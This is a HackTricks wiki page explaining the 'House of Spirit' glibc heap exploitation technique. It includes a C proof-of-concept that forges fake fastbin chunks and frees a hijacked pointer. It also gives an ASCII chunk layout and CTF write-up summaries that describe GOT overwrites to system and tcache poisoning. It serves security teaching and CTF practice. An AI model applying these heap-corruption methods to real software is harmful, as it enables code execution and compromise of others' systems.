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hacktricks/binary-exploitation/libc-heap/house-of-spirit.md
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House of Spirit

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Basic Information

Code

House of Spirit 
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk {
  size_t prev_size;
  size_t size;
  struct fast_chunk *fd;
  struct fast_chunk *bk;
  char buf[0x20];               // chunk falls in fastbin size range
};

int main() {
  struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
  void *ptr, *victim;

  ptr = malloc(0x30);

  printf("Original alloc address: %p\n", ptr);
  printf("Main fake chunk:%p\n", &fake_chunks[0]);
  printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

  // Passes size check of "free(): invalid size"
  fake_chunks[0].size = sizeof(struct fast_chunk);

  // Passes "free(): invalid next size (fast)"
  fake_chunks[1].size = sizeof(struct fast_chunk);

  // Attacker overwrites a pointer that is about to be 'freed'
  // Point to .fd as it's the start of the content of the chunk
  ptr = (void *)&fake_chunks[0].fd;

  free(ptr);

  victim = malloc(0x30);
  printf("Victim: %p\n", victim);

  return 0;
}

Goal

  • Be able to add into the tcache / fast bin an address so later it's possible to allocate it

Requirements

  • This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.

Attack

  • Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
  • Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address

The code from guyinatuxedo is great to understand the attack. Although this schema from the code summarises it pretty good:

/*
    this will be the structure of our two fake chunks:
    assuming that you compiled it for x64

    +-------+---------------------+------+
    | 0x00: | Chunk # 0 prev size | 0x00 |
    +-------+---------------------+------+
    | 0x08: | Chunk # 0 size      | 0x60 |
    +-------+---------------------+------+
    | 0x10: | Chunk # 0 content   | 0x00 |
    +-------+---------------------+------+
    | 0x60: | Chunk # 1 prev size | 0x00 |
    +-------+---------------------+------+
    | 0x68: | Chunk # 1 size      | 0x40 |
    +-------+---------------------+------+
    | 0x70: | Chunk # 1 content   | 0x00 |
    +-------+---------------------+------+

    for what we are doing the prev size values don't matter too much
    the important thing is the size values of the heap headers for our fake chunks
*/

{% hint style="info" %} Note that it's necessary to create the second chunk in order to bypass some sanity checks. {% endhint %}

Examples

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

    • Libc infoleak: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
    • House of Spirit: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the scanf entry inside the GOT table, so we can overwrite it with the address to system.
      Next time scanf is called, we can send the input "/bin/sh" and get a shell.

  • Gloater. HTB Cyber Apocalypse CTF 2024

    • Glibc leak: Uninitialized stack buffer.
    • House of Spirit: We can modify the first index of a global array of heap pointers. With a single byte modification, we use free on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}